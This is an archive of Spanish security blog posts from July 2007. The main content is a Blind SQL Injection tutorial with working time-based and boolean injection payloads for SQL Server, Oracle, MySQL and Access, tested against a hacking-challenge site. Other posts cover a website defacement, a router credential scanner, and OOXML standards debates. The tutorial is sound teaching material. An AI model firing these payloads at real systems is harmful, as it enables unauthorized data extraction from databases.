martes, julio 31, 2007

Blind SQL Injection (V).
El tiempo

Ayer dejaba una pregunta en el aire, [que RoMaNSoft y Dani K no dejaron escapar] sobre que hacer en el caso de que tengamos un valor por defecto y no haya forma de encontrar otro valor para poder discernir entre verdadero y falso.

La solución es sencilla, realizar inyecciones en base a tiempo. Esto ya lo hemos comentado varias veces, e incluso os he puesto una herramienta, SQL Ninja [no es la única, ya os pondré más], que puede realizar la automatización para SQL Server. Ya existen soluciones para Microsoft SQL Server y Oracle basadas en llamadas a procedimientos almacenados, y para MySQL basados en consultas pesadas usando llamadas a las funciones Benchmark.

Un ejemplo con SQL Server

Para ilusitrar este ejemplo con SQL Server hemos realizado una migración del Primer Reto Hacking a un SQL Server y hemos realizado unas pruebas de tiempo con Wget. Esta herramienta en modo comando realiza una petición GET a una página y nos marca el inico y el final de cada petición. Aquí tenéis los resultados.


Como se ve en esa primera captura, entre el tiempo de inicio y el de final han pasado unos 10 segundos, justo el delay marcado si se cumplía la condición.


En esta segunda petición se ve que es falso porque no se ha producido el retardo. ¿Qué soluciones tenemos para generar estos retardos de tiempo?

Pues varias, estas consultas, como os imaginaréis, dependen del motor de base de datos utilizado.

Microsoft SQL Server:

- Llamada de retardo: ; waitfor delay '0:0:15' –-
- Uniendo consulta pesada: and (…(10000 > (select count(*) from sysobjects,sysusers,sycolums) --

Oracle:

- Llamada de retardo: ; BEGIN DBMS_LOCK.SLEEP(5); END;--
- Uniendo consulta pesada: and (…(10000> (select count(*) from all_users, all_tables, all_columns...)

MySQL:

Uniendo consulta pesada: And exists(SELECT BENCHMARK(…(1000000,MD5(CHAR(116))))

Para los entornos en los que no tengamos acceso a los procedimientos almacenados o a las tablas del diccionario de datos, siempre podremos utilizar consultas pesadas en función de las tablas que conozcamos, el número de filas que tengan y alguna que otra función matemática. Esto dependerá del volumen de filas que tenga cada tabla y el numero de joins y/o cálculo matemático que podamos forzar.

Access:

La respuesta para Access es como para cualquier otra base de datos a la que no podamos acceder a procedimientos almacenados de retardo, consiste en buscar una consulta que haga tardar más de la cuenta al sistema. Dani K. se ha currado una consulta pesada para el Primer Reto Hacking y yo he hecho las pruebas con Wget para ver las mediciones de tiempo. Totalmente automatizable. Ha prometido resolver el Primer Reto Hacking con esta técnica, así que espero publicar pronto un nuevo solucionario ;)

Inyección de Verdad: http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 1=1 and (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10)>0


Tiempo de Respuesta: 6 segundos.

Inyección Falsa: http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 0=1 and (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10)>0

Tiempo de Respuesta: 1 segundo.

Como se puede ver, si tu web es vulnerable, entonces... es vulnerable.

Saludos Malignos!

lunes, julio 30, 2007

Blind SQL Injection (IV).
El Valor por Defecto

El problema del Conjunto Vacío (o cuál es el valor sin inyectar de referencia) en el análisis de un parámetro para averiguar si es vulnerable o no a SQL Injection y a explotación mediante Blind SQL Injection es muy importante. Tanto, que la elección del valor que utilicemos como conjunto vacío determinará que lleguemos a la conclusión correcta o a una conclusión errónea.

Para entender el problema analicemos un ejemplo. Tenemos una aplicación web con un programa que se llama programa.cod y de él, tras haber realizado un crawling (o recogida de todas las URLs de la web) tenemos un valor para uno de los parámetros que tenemos, digamos el parámetro id con el valor 1.

En resumen tenemos una URL del siguiente tipo:

http://www.miservidor.com/programa.cod?id=1

Y queremos saber si el parámetro id es vulnerable a SQL Injection explotable por Blind SQL Injection. Para ello probamos inyecciones de cambio de comportamiento 0 y de cambio de comportamiento negativo/positivo con los famosos:

http://www.miservidor.com/programa.cod?id=1 and 1=1
http://www.miservidor.com/programa.cod?id=1 and 1=0


¿Nos llevarán los resultados obtenidos a conocer si el parámetro es vulnerable o no?

Pues depende. Imaginemos, que el programador, ante la ausencia de resultados desde la base de datos muestra un valor por defecto. Si da la casualidad de que ese valor por defecto es justo el valor que tenemos, en este caso el valor 1 para el parámetro id no vamos a poder detectar la vulnerabilidad, ya que vamos a tener como respuesta algo que nos va a simular un parámetro seguro.

Jugando con el Primer Reto Hacking.

El código vulnerable allí era pista.aspx y el parámetro era id_pista. De este parámetro se daban dos valores, uno de ellos, el valor 1, era el valor por defecto, así que si intentabas encontrar la vulnerabilidad utilizando dicho valor, nunca llegarías a verla. Echemos un vistazo.

Primero sin inyección, el conjunto vacío:

http://www.informatica64.com/retohacking/pista.aspx?id_pista=1

Probamos ahora con la inyección and 1=1 para ver si podemos inyectar lógica:


http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 1=1

Como se ve hemos obtenido la misma página de resultado, veamos ahora con la inyección and 1=2 para ver si obtenemos otra distinta.


http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 1=2

Obtenemos la misma. Es decir, o es segura o estamos frente al parámetro por defecto y no vamos a poder saber si es vulnerable o no. Esto lo comprobamos introduciendo alguna Inyección No Valida, es decir, basura.


http://www.informatica64.com/retohacking/pista.aspx?id_pista=asd'asd

¿Quiere decir ésto que el parámetro es seguro? La respuesta es No. De hecho, si miramos con el valor 2 del parámetro, rápidamente se descubre la vulnerabilidad.


http://www.informatica64.com/retohacking/pista.aspx?id_pista=2

Y ahora probamos las inyecciones and 1=1


http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 1=1

Y and 1=2


http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 1=2

Y podemos comprobar la vulnerabilidad del parámetro. Esto es importante a la hora de comprobar la vulnerabilidad o no del mismo. La elección del valor por defecto. Analizaré más adelante como hacerlo con algunas herramientas de detección de vulnerabilidades, pero mientras. Una pregunta. ¿Qué pasa si no existiera ese valor 2? ¿Alguna otra solución?

Saludos!

domingo, julio 29, 2007

Se acabó la Liga

***************************************************************
Artículo Publicado en Windows TI Magazine nº 122 Julio/Agosto 2007.
***************************************************************


La liga se ha acabado. Pero el mundo del fútbol no se detiene y los despachos seguirán funcionando persiguiendo los tan deseados fichajes de verano. En el mundo Microsoft esta selección de fichajes la hemos podido ver en la construcción de la plantilla de seguridad de la compañía.

El objetivo, tener un plantilla competitiva. En el verano del año 2003, con polémica por medio, Microsoft adquirió GeCad, una compañía rumana que desarrollaba un motor de antivirus. La polémica que se generó fue enorme, pero a día de hoy, a ritmo de una polémica por día en el mundo de la tecnología ya casi ni nos acordamos de ella. La tecnología, la plantilla y los conocimientos se emplearían en construir el Microsoft Anitmalware que viene incluido en Microsoft Forefront Server Security y Microsoft Forefront Client Security, pero también se extendería a otros productos y herramientas como la MSRT (Malicious Software Removal Tool), Windows Live Safety Center o Windows Live OneCare.

En las frías navidades del año 2004, se ficha la compañía Giant, con origen neoyorquino, que tenía tecnología antispyware y que daría lugar a Microsoft Antispyware, aquel producto que duró en fase beta más de un año y que al final recibiría la marca de Windows Defender. Hoy en día es un producto gratutito que viene integrado con Windows Vista.

En el año 2005, después de haber obtenido la tecnología más necesaria para proteger a los clientes, la compañía se centra en los servidores. Sin más retraso, el objetivo es hacerse con los servicios de Sybari, que tiene en sus manos Antigen, un producto capaz de escanear el correo electrónico con hasta 9 motores Antivirus, escanearlos en memoria y pasarelas y hacerlo utilizando un framework común, con lo que no son 9 formas distintas de acceder a los datos para realizar 9 chequeos de antivirus, sino un único acceso a los datos para que sea chequeado por 9 motores. A Microsoft le encaja perfectamente en su política. Eso ayuda a subir la estabilidad de los servidores pues reduce en 9 el número de incidencias posibles. ¡Listo pues! El 8 de Febrero de 2005 se anuncia su adquisición para que aparezca el Microsoft Forefront Server Security para Exchange Server, para SharePoint y para Comunications Server. El 31 de Agosto de 2005 se anuncia la compra de FrontBridge, una compañía especializada en la securización del correo electrónico que aportará tecnología antispam, es decir conocimiento y herramientas para Intelligent Message Filter en Exchange Server 2007 y para Spam Cure en Forefront Security Server.

El 19 de Septiembre se incorpora Alacris, una compañía centrada en la gestión de identidad y en el ciclo de vida de los certificados digitales y smartcards.

En el año 2006 se ha buscado fortificar la gestión de sistemas, para tener una mayor seguridad de la plataforma. El 9 de Febrero se anuncia el fichaje de FutureSoft’s DynaComm i:Filter, tecnología de Filtrado Web que se utilizará en Microsoft Forefront Security Server. El 26 de Abril se anuncia la compra de Assetmetrix, para incluir la tecnología de inventariado y gestión de activos y licencias para incluirla en System Center.

El 18 de Mayo de 2006 se confirma la adquisición de Whale Comunications, una compañía que había desarrollado tecnología de acceso VPN-SSL utilizando Microsoft ISA Server y que sería rebautizada como Microsoft Forefront Intelligent Application Gateway, quizás uno de los productos más llamativos de la gama de seguridad.
Softgrid se presenta el día 17 de Julio con la tecnología de virtualización de aplicaciones gestionada y a la carta, una tecnología necesaria en las grandes compañías y de la que Microsoft carecía. Al día siguiente, el día 18, se hace pública la compra de Wininternals, la compañía de Mark Russinovich, el eterno técnico de Sysinternals, MVP de seguridad durante varios años y famoso por sus trabajos con el kernel de los sistemas Windows y las herramientas Process Monitor, File Monitor... de Sysinternals.

La última incorporación de 2006 fue el 2 de Octubre, la empresa Desktop Standard, con tecnología de optimización en la gestión del puesto de trabajo y que, junto a herramientas de Softgrid, daría lugar al Microsoft Desktop Optimization Pack.

Este año se ha incorporado un último fichaje: la empresa Engyro, que con su tecnología de integración de sistemas de terceros con SMS y MOM han aumentado la potencia de interoperatibilidad de System Center, anunciándose System Center Engyro en el último TechEd en USA.

Con todas estas incorporaciones, Microsoft ha puesto sobre el terreno de juego al equipo Forefront (Server Security, Client Security, ISA Server e IAG) y al equipo System Center (MoM, SMS, Essentials, Engyro) para competir en la complicada liga de los productos de seguridad.

Bies malignos!

PD: Una recopilación más amplia de empresas compradas por Spectra en: Spectra I+D+I

sábado, julio 28, 2007

¿Abandonar?

Ha pasado otro semestre y le he vuelto a dar varias vueltas a esta península, es tiempo de volver a plantearse si debo Abandonar o no. Así que me toca revisar la carpeta Fotos de mi ordenador, a ver si me ayuda a decidir que hacer:

Coruña - Marzo - Con Alex

Albacete - Esta foto es del Semestre pasado, pero quería que entendierais por qué volví a la Universidad.

Pamplona - Julio - José, David, María - S21Sec rocks!

Huesca - Mónica, "Babyface" Morón, y los periodistas

Londres - Febrero - Semana Increible

Barcelona - Mayo - Security Day

Madrid - TechDay

Tignes - Francia

Amsterdam...mmm

Sevilla - Sorian, SiW2P, Silverhack
Miguel A. Ramos, Pedro Laguna, Penyaskito


Pamplona - El Training Day - "La Presi" Elena

Y por supuesto... más MadriZ....

... Y Bronxtolex... con Rodol

Creo que aguantaré sin abandonar, aunque solo sea otro semestre... luego ya veremos.

Buen finde!

viernes, julio 27, 2007

Premio para el IV Reto Hacking

Para los más ávidos destrozawebs estamos ya en marcha con el IV Reto Hacking, si todo va como debe, estará disponible en unas semanas, pero aprovechando que se ya se acaba el tiempo de currar y llega el veranito debéis poneros las pilas. Lejos han quedado aquellos momentos de estrecheces en los que hubo que empeñar hasta la ropa interior para tener un premio. Para este nuevo Reto hacking he preparado un primer premio de impresión. El genuino, el glamuroso, el grande y sin igual Bender. Este magnífico personaje está a buen recaudo en una estantería bajo mi vigilante mirada y será para el que saque el primer premio.

Sé que aún tengo pendientes premios por entregar: la caricatura da “mandingo” [¡mándame la foto perro!], la camiseta a Kachakil, la tarta de queso con arándanos a Pedro Laguna, la noche de fiesta a RoMaNSoFt o la caja de botijos a Palako [amén de los 50 leuros que le debo a Penyaskito], pero no os preocupéis, yo siempre pago. Prueba de esto es el momento en que RoMaNSoFt recibía su primer software de Spectra original como premio de un Reto.


Y para que os pongáis nerviosos os dejo ver al adorable matahumanos. El hijoputa más salao, que se llevará el que rompa la web del IV Reto Hacking.


Saludos malignos!

PD: “La abogada soltera, lucha por sus clientes…”

PD2: Por cierto, creo que ni de coña conseguirás llevarte esta joya si antes no controlas los tres retos anteriores:

Reto Hacking I - Solucionario por D. Kachakil
Reto Hacking II - Solucionario por D. Kachakil
Reto Hacking III - Solucionario por RoMaNSoFt

jueves, julio 26, 2007

Cómo Comerse una Comilla (CCC)

Los que habéis venido a mis conferencias sabéis que cuando hablo de estas cosas siempre cuento un chiste que viene a decir :

"Acabo de hacer un curso por fascículos y ya soy programador de aplicaciones de comercio electrónico"

Este es el primer paso para empezar a cagarla en un proyecto. Ya hablamos del proceso de cagadas en el post de "Se me ha ocurrido una idéa cojonuda". Lo que me llama poderósamente la atención es que una gran compañía preocupada por la seguridad se coma una comilla de la forma más tonta y como no, a lo grande.

El 29 de Abril de este año le hicieron un XSS persistente a una web de Spectra que decoraron con la famosa foto del tartazo a Bil Gates [Defacement en Spectra]. Tras analizar lo ocurrido, se explicó que era un site muy antiguo, hecho por un tercero, etc... Es decir, vale, cagada de despiste.

El 27 de Junio, es decir, hace casi un mes, ha vuelto a ser hackeado otro minisite de Spectra, esta vez una aplicación de gestión de eventos en el reino unido y con un SQL Injection de los de CCC, es decir, de "Como Comerse una Comilla". Es en un parámetro que se envía por GET, sin filtrado ninguno y con muestra pública de los mensajes de error. Tienes la captura en la siguiente imagen:


Al final, lo que sucedió es que se descubrió un campo en una tabla de la base de datos que había detras que se utilizaba para mostrar la página y se actualizó con un bonito código de inyección HTML que decoraba la web como queda en esta página:


Al programador de esto, si no tiene una buena excusa... ¡Qué le castiguen con los artilugios de "We share your Pain"!.



Si queréis ver la explicación de como se hizo el ataque podéis bajaros el vídeo en alta calidad grabado por el descubridor explicando el proceso en la siguiente URL: RapidShare

Y puedes leer más de esta noticia en Zone-h.

miércoles, julio 25, 2007

Más mentiras en el proceso de OOXML

Saltandome mi política de racionamiento de posts (que ayuda a mi terápia de tener vida) y viendo que la votación es mañana y que los poderes “fácticos” del lado del bien intentan confundir a los pobres malvados, he decidido sacar mi versión más maligna y copiaros la transcripción de la carta TOTALMENTE CONFIDENCIAL y que publican los "amigos" de neutralidad (que para querer neutralidad tecnológica su web no valida HTML y se ve mal con IE6 y además todos su miembros son del mismo “bando” y con los mismos intereses [ya sabéis cuales son: paz, amor y más sexo para todos]) y de la que se han hecho eco en barrapunto y en breve, es de esperar, en todos los blogs de los tecnicoless de turno “amigos de la teoría de la conspiración”

Estimado sr.

Recientemente el International Standards Group de Ecma ha remitido un estándar a IS0 para su aprobación por vía de urgencia (fast-track); se trata del estándar "Ecma 376 Office Open XML".

Desde mi responsabilidad como Director General de Innovación y Administraciones Públicas de la Junta de Andalucía, y siendo competente en materia de política informática de esta Administración Autonómica, he de manifestarle nuestro mayor interés en el proceso de elaboración de estándares sobre materias tan relevantes como es el intercambio de documentos en formatos electrónicos.

Los formatos de intercambio de documentos son un pilar para el desarrollo de la Sociedad de la Información y, como parte relevante de la misma, de la llamada Administración Inteligente; es por ello que la Junta de Andalucía manifestará siempre su apoyo al establecimiento de estándares en este terreno, y por lo que deseo que AENOR, en su condición de miembro del 1SO/IEC JTC1 transmita a dicho comité nuestro apoyo en este sentido.

La apuesta de la Junta de Andalucía por la adopción de estándares abiertos en materia de tecnologías de la información entronca directamente con las recomendaciones de la Unión Europea recogidas en el "Marco Europeo de Interoperabilidad" y, se encuentra actualmente firmemente sustentada por el estándar ISO/IEC 26300 [ODF] en materia de formatos de documentos; confío que el resultado de la tramitación que ISO inicia vendrá a enriquecer y robustecer las expectativas de extensión de los estándares abiertos y la interoperabilidad.

La reciente experiencia adquirida en la elaboración de un "Marco de Interoperabilidad para los Sistemas de Información de la Junta de Andalucía", impulsado desde esta Dirección General, podría resultar de utilidad en este campo.

Es por ello que junto con mi equipo quedo a su disposición y del comité mencionado para cualquier colaboración y ayuda que estimen oportuna en la materia de la presente carta.

Atentamente


Siento que se hayan liado con las siglas, pero Ecma 376 Office Open XML es OOXML y sí, la carta no dice que va a usar OOXML, sino que:

“Los formatos de intercambio de documentos son un pilar para el desarrollo de la Sociedad de la Información y, como parte relevante de la misma, de la llamada Administración Inteligente; es por ello que la Junta de Andalucía manifestará siempre su apoyo al establecimiento de estándares en este terreno, y por lo que deseo que AENOR, en su condición de miembro del 1SO/IEC JTC1 transmita a dicho comité nuestro apoyo en este sentido”

Según yo puedo leer, dice, que manifestará siempre su apoyo al establecimiento de estándares en este terreno, es decir, a todos los procesos de estandarización de formatos de ficheros y lo transmite al comité JTC1 que es quién vota sobre OOXML como pone en la cabecera. Después deja claro que ellos usan ODF, pero recalca, al comité que vota OOXML: “confío que el resultado de la tramitación que ISO inicia vendrá a enriquecer y robustecer las expectativas de extensión de los estándares abiertos y la interoperabilidad.”

Cada uno puede poner y quitar sus apoyos a quién quiera y cuando quiera, como dice Linus Torvalds, “soy libre de cambiar de opinión”. Pero la carta es la que es y de esto sacamos varias conclusiones:

1.- En el proceso de aprobación o no (mañana) del estándar alguien está filtrando información y saltándose el juego limpio.

2.- La gente de la Junta de Andalucía envío una carta a favor de la estandarización de formatos, pero se deja manipular por los que quieren poner ODF contra OOXML, cuando no es esto lo que se vota mañana, sino si OOXML cumple lo necesario para ser un estándar, y eso, hoy por hoy nadie puede demostrar que no lo cumpla. Si no se vota en España a favor será por sentimiento anti-Microsoft, no por otras cosas.

La carta publicada por Neutralidad

Perdonadme todos, pero desde que aprendí a leer las manipulaciones así no me las como. Al señor Director de Innovación de la junta le gustará o no lo que ha dicho y habrá enviado una carta ofendidisimo explicando que está "en el otro bando" por, sin darse cuenta, haber podido apoyar con sus palabras "al mal", pero lo que pone en la carta es lo que pone. Lo siento, yo sé leer. ¿Y tú?

Saludos Malignos!

Comida despedida

Mañana es la última charla antes del parón del verano, así que, a petición de varios de vosotros, vamos a montar un papeo de autentico lujo. El menú degustación que hemos pensado es:

- Fino tubérculo de huerta, bañado en jugo de aceituna, con tomate caramelizado ligeramente picante.
- Néctar de cebada, atemperada en jarras de fino cristal o plástico del bueno, espumosa y refrescante.

Una traducción del menú lo tenéis en el siguiente vídeo:



El lugar será, después del evento en Getafe, en algún garito de Getafe o Bronxtoles. Se ruega confirmación y saber de cuantos coches disponemos.

Fast HTTP Auth Scanner por Tarasco

La verdad, es que lo mejor de este trabajo es encontrar la gente con la que te encuentras. Uno de estos piezas es el señor Atar. Desde el día que nos conocimos no hemos perdido el contacto y desde que estamos en el Messenger es un poco más capullo que antes. El amigo, ahora “pseudo retirado” en su tierra se dedica a conectar conmigo y ponerme los dientes largos con lo que está trabajando, o con el paraíso dónde curra ahora. Siempre le amenazo con poner la foto con el deportivo dietético con el que apareció en la última charla que fuimos juntos a la universidad, así que hoy la voy a poner.


Durante esta semana me ha mandado un par de capturas del último juguete con el que estaba currando, un programita para conseguir conectarte a routers de tu mismo segmento de Internet. Ahí no lo pone, pero él me ha dado alguna explicación de su uso muy divertida. Si no fortificas la validad de credenciales de tu router de conexión a Internet alguien puede entrar en tu router, crearse una conexión VPN para su máquina y realizar NAT a través tuyo. Si además elimina todos los logs puede utilizarse como plataforma de anonimato para hacer “cosas”.

La herramienta la ha hecho pública ayer en la web de 514. Es muy útil para los tests de intrusión. Puedes descargarla de la siguiente URL:

Fast HTTP Auth Scanner

¡Atar, eres un máquina!

martes, julio 24, 2007

Sandalias y Chiringuitos

Hoy, en Málaga, con el veranito y los golfos estos que tengo por compañeros estoy muy felíz. Hacía tiempo que estaba retirado de los escenarios (unas tres semanas), así que tenía ganas.

Como estoy más feliz, que una perdiz, os voy a dejar tres vídeos que me han gustao:

El primero es sobre lo duro que es el Soporte Informático:



El segundo un "making off" sobre como se hizo la canción de la Mandanga, para que empecéis a hablar el autentico idioma de los gatos:



Y el último, la que será la canción del verano:



Ale, un interludio.

lunes, julio 23, 2007

OOXML. Las desinformaciones al respecto.

Recuerdo la época en la que se pedía a gritos conocer el formato de los ficheros binarios de Office:

“Spectra saca partido de su conocimiento del formato de los documentos Office por eso no lo libera”

Era el secreto que Spectra utilizaba para mantener su posición dominante según muchos. Ahora que quiere se quiere hacer de él un estándar libre, para que todo el mundo lo conozca, parece que ha cambiado el argumento:

“Spectra quiere liberar el formato de los documentos Office para sacar partido”

Algunos descubren que el formato OOXML es muy malo porque “puede embeber datos binarios”. Y eso no debería estar porque:

“Spectra lo que quiere es que sea compatible con todo lo generado por sus productos anteriores”

Pues sí, quiere eso, y que además sea compatible con todos los formatos anteriores de todos los fabricantes, por eso permite la integración de esquemas XML de terceros. Parece ser que la buena idea que algunos “visionarios en el mantenimiento de infraestructuras de información” es ignorar más de 40 billones de documentos de los 400 millones de usuarios de Office, pero no solo esos documentos, sino hacer tabla rasa también para otros tantos de millones de documentos que aún hay de Word Perfect, de Lotus AmiPro (este era mi procesador de adolescencia) o de cualquier otro.

Lo curioso, es que estos descubridores del secreto mejor guardado solo tenían que LEERSE LA PÁGINA 1 del documento OFFICE OPEN XML OVERVIEW del Comité de Estandarización de ECMA, dónde dice:

OpenXML was designed from the start to be capable of faithfully representing the pre-existing corpus of word-processing documents, presentations, and spreadsheets that are encoded in binary formats defined by Microsoft Corporation. The standardization process consisted of mirroring in XML the capabilities required to represent the existing corpus, extending them, providing detailed documentation, and enabling interoperability.

Y ahora nuestros visionarios buscan propiedades ocultas sobre los formatos de fichero de Word95 en el formato OOXML. Spectra no engaña a nadie, tiene la mayor base de documentos del mundo en formatos binarios, es un estándar de facto y quiere abrirlo, mantenerlo e interoperarlo. No hay magia, desde hace tiempo se puede conseguir a través de un mail [Formatos Office]:

“La documentación que cubre las especificaciones binarias de formato de archivo es acumulativa y cubre el formulario más actual de los formatos binarios de archivo así como de las versiones anteriores. Si desea recibir la documentación, póngase en contacto con Microsoft en la dirección de correo electrónico siguiente para iniciar el proceso de registro de acuerdo: officeff@microsoft.com

Lo curioso es que a los técnicos de IBM esto les parecía genial y llegaron a publicar unos bonitos artículos con los siguientes párrafos:

Integrate your Microsoft® Office 2007 documents into your enterprise and Internet applications more easily than ever before with DB2® 9. Review older methods of data interchange with MS Office documents, and learn how MS Office 2007 offers better data interchange. This article discusses interchange with DB2 9 XQuery, Zend Core for IBM®, HP: Hypertext Preprocessor (PHP), and Php Data Objects (PDO) technologies.

Parece que a IBM les gusta el formato de Office 2007. Y este otro párrafo también es interesante.

After reading this article, I hope you will find that consuming and re-purposing MS Office 2007 documents is easy with IBM DB2 pureXML™ features. Not much code is required, so this solution is easy to implement.

Vaya, si IBM ya procesaba los documentos OOXML con facilidad y usando sus propias herramientas. Parece que el formato es bueno, y que no es costoso para ellos trabajar con él. Sin embargo, en plena guerra contra la estandarización ese artículo se elimina de las páginas de IBM. Pero lo localizan en la caché de Google y lo hacen público. Rápidamente es borrado de la caché de Google, pero… alguien ya los tenía descargados. Podéis ver las capturas del documento en la siguiente URL [Now you see, Now you don´t], aunque no sé si IBM es lo que quiere, que leáis estas cosas.

A pesar de todo esto, parece que IBM no es como Spectra y está en el lado del bien. Y no pasa nada porque ella tenga patentes mientras que el que las tenga Spectra es dañino. Como todos sabéis Spectra hizo ya hace tiempo la Open Promise.

Esta promesa, denostada por muchos, era tirada por tierra con argumentos del tipo "no sirve para nada". ¿No? Pues nuestro amigo de piel de cordero, los de “I Boy_y Melocreo” han sacado esta otra Promesa, el día 10 de Julio de 2007:

Therefore, IBM irrevocably covenants to you that it will not assert any Necessary Claims against you for your making, using, importing, selling, or offering for sale Covered Implementations.

Y en esa lista se encuentran estas dos especificaciones sobre las que parece tener patentes:

Open Document Format for Office Applications (OpenDocument) v1.0
Open Document Format for Office Applications (OpenDocument) v1.1


Es curioso, todas las patentes que tiene, que mucha gente está usando y NADIE, ABSOLUTAMENTE NADIE se ha dado cuenta de que podían haber exigido royalties. Claro, esto es debido a que a nadie le importa, porque estos chicos son buenos. Son del lado del bien. Ellos quieren la paz en el mundo, el amor y que … no sé, haya … no sé… ¿más amor? Creo, de hecho, que es el objetivo que está escrito en las acciones de la compañía. Que haya amor. De Spectra no, sabemos que ellos quieren gobernar el mundo.

Y luego hablan de manipulación. Mi opinión es que se está jugando la baza de manipular a la gente a través del sentimiento Anti-Spectra y lo increíble es que a muchos “visionarios” se la están colando.

Saludos desde El Lado Del Mal.

domingo, julio 22, 2007

Momentus Ridiculous VII

Llegó el momento de hablar con nuestros congeneres informáticos y alertarles de la nueva ola social, de los técnicoless, de esos grandes expertos. Así que el Chico Maravillas y yo, volvimos a transformarnos.

Diciembre de 2006. MVP Open Day

A la entrada nuestros compañeros demostraron que tenían mucho interés en vernos y escucharnos, así que nos esperaron, [los muy cabr..] de esta guisa:


Vestidos de técnicoless, yo Traje "Look Apple" y el Chico Maravillas con un "model" "años 60" [no es viejo, es moda retro] con nuestros gemelos azules a juego con el mando de la Wii y todo, les explicamos algunos secretos de la nueva orden social dominante. Los técnicoless.


Allí mismo, desvelamos nuestros secretos, "porque nosotros somos señores", "Somos hombres de buena educación", "Decimos tonterías, sí, pero con buena educación". Les dimos algunos trucos para vestirse como un buen técnicoless, nada de disfraces y camisetas geek, "por dios, ¡que grosería!". Y luego les enseñamos técnicasless de lectura rápida para técnicoless. Sí, si quieres ser un blogger técnicoless, no tienes tiempo de aprender, debes leer rápido, traducir a medias, e imaginar el resto de la noticia con una teoría conspiratoria.

El chico maravilla lo explicó claramente:

"¿Para que vais a probar algo vosotros? Haced lo que nosotros los técnicoless decimos en los blogs. No perdais tiempo teniendo vuestra opinión, nosotros ya la tenemos por vosotros. Y como nosotros somos más listos, llegamos, con nuestras técnicasless de lectura rápida a la conclusión mucho antes que vosotros. Somos un bien social"

También dimos algunos trucos básicos "para rellenar los huecos que no entiendas o no tengas tiempo de investigar de una noticia". Las reglas hay que dárselas a la plebe geek como hizo Hommer com Bart:

1.- La culpa fue de Spectra.
2.- Spectra es malo.
3.- Todos los demás lo hacemos por bien de la humanidad y siempre desinteresadamente.


Al final, como era de suponer "la plebe geek" quiso inmortalizarse junto a la "Élite blogosférica de los Técnicoless".


No, no estamos estreñidos, es que somos así de "técnicoless".

sábado, julio 21, 2007

Fórmate en las filas del mal
Recursos Online

Spectra, en su infinita necesidad de expandir sus tentáculos en el objetivo final de la dominación del mal necesita que el pueblo esté formado en sus procedimientos. Qué sepa responder correctamente ante cada problema y que todas las situaciones con tecnología maligna sean respondidas al instante. Aquí tienes los recursos ONLINE para que te formes este veranito.

Webcasts

Son charlas a través de Internet impartidas por consultores, MVPS, MCTs, MCSEs, etc… sobre temáticas abordables en una charla de una hora. Se hacen por tracks y puedes encontrar cursos online completos totalmente gratuitos. Suelen hacerse por la tarde (en horario de España) y si estás cuando se realizan puedes preguntar a los ponentes. Luego se quedan grabadas y puedes verlas en cualquier momento. Incluso algunas son descargables a PC para que las veas cuando y donde quieras.

Ahora mismo no hay ninguno planificado en castellano (sí que los hay en inglés), pero cuando se planifican nuevos puedes acceder a ellos a través de esta URL: http://www.microsoft.es/technet/jornadas/webcasts
Los webcasts grabados, los tienes en esta otra URL: http://www.microsoft.es/technet/jornadas/webcasts/webcasts_ant

Videos On Demand

Anteriores a los webcasts se grababan las conferencias que se impartían y quedan muchas grabadas de SPS 2003, ISA Server 2004 e incluso Security Days. ¡Qué bonito vernos con unos años más jóvenes! Ojo. El player está pensado para IE6, si os da problemas…. Lo siento. La URL:
http://www.microsoft.es/technet/evento/videos

Virtual Labs

Una vez que hayas aprendido lo que querrás es poder practicar un poco, así que nada mejor que engancharte a un entorno de pruebas y enredar. Con los Virtual Lab te conectas a máquinas virtuales pre-configuradas para que montes IPSec, configures un SharePoint, un ISA o una VPN. Los laboratorios llevan un cuaderno que te va guiando y explicando las prácticas que debes hacer. Totalmente gratuitos para que pruebes.

- Para los IT Pros: Technet Virtual Labs
- Para los desarrolladores: MSDN Virtual Labs

IT ShowTime

Dentro de las grabaciones de eventos, los mejores a nivel internacional se graban y se subtitulan para que puedas atender a las charlas de los eventos internacionales: Teched, Winhex, etc… Merece la pena. La URL:

- IT ShowTime

Recursos en la Web

Las webs de Technet y MSDN son lugares donde acceder a todos estos recursos, pero también puedes hacerlo por medio de los blogs de los evangelistas:

- David Cervigón [Technet]: http://blogs.technet.com/davidcervigon/
- José “abuelo” Parada [Technet]: http://blogs.technet.com/padreparada/
- David Carmona [MSDN]: http://blogs.msdn.com/tropezones/
- David Salgado [MSDN]: http://blogs.msdn.com/davidsalgado/
- Ethel [MSDN]: http://blogs.msdn.com/ethelcilla/
[mirad que moto más chula en el About me]
- José Murillo [MSDN para ISV]: http://blogs.msdn.com/josemurl/
- El blog de Vista-Tecnica: http://geeks.ms/blogs/vista-tecnica

Los foros:

- MSDN: http://forums.microsoft.com/msdn-es/
- Technet: http://forums.microsoft.com/technet-es/

Y los blogs de los MVPS, que como son muchos habrá que esperar a que los pongan en los comentarios (si quieren).

Y siempre te queda el recurso de preguntar directamente en El Lado del Mal.

Bies Malignos!

viernes, julio 20, 2007

SQL Injection en base a errores ODBC
e Internet Explorer 7

El día de navidad del año 1998 rain.forest.puppy, en el Phrack Magazine Volumen 8, Número 54 publicó un artículo titulado “NT Web Technology Vulnerabilities” en el que analizaba las posibilidades de la inyección de código SQL en aplicaciones ASP y motores de bases de datos SQL Server 6.5. Utilizando estas técnicas hackeó Packetstorm, un sitio web con información sobre Seguridad Informática en el que consiguió convertirse en administrador, y explicó como lo hizo en un documento que publicó en Febrero del 2000 titulado “How i Hacked PacketStorm”.

Allá por el año 2001, en las conferencias de BlackHat, David Litchfield presentaba un documento titulado “Web Application Disassembly with ODBC Error Messages” [PPT en Blackhat] en el que se contaba cómo podía sacarse información sobre la base de datos de un aplicación web a partir de los mensajes de error ODBC no controlados por el programador.

